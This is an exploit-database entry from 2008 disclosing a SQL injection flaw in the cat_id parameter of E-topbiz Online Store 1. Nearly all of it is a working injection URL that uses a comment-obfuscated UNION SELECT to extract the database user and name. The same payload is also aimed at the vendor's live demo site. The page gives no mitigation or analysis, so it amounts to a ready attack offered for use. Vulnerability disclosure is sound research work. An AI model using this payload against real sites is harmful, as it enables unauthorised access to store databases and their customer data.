[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : E-topbiz Online Store 1 (cat_id) SQL Injection Vulnerability
# Published : 2008-11-07
# Author : Stack
# Previous Title : DeltaScripts PHP Classifieds <= 7.5 SQL Injection Vulnerability
# Next Title : Mini Web Calendar 1.2 (File Disclosure/XSS) Multiple Vulnerabilities
> > =================================================================
> > ======== E-topbiz Online Store 1 Remote File Sql Injection ======
> > =================================================================
> > home of script : http://e-topbiz.com/
> > By: Stack
> > ====Vulnerable Demo and Exploit ====
> >
> > PoC URL :
> > http://site.il/path/index.php?cat_id=-1%20unION/**/SELECT/**/concat_ws(0x3a,user(),database()),2,3,4,5,6/*
> >
> > Demo URL :
> > http://e-topbiz.com/trafficdemos/store1/index.php?cat_id=-1%20unION/**/SELECT/**/concat_ws(0x3a,user(),database()),2,3,4,5,6/*
# www.Syue.com [2008-11-07]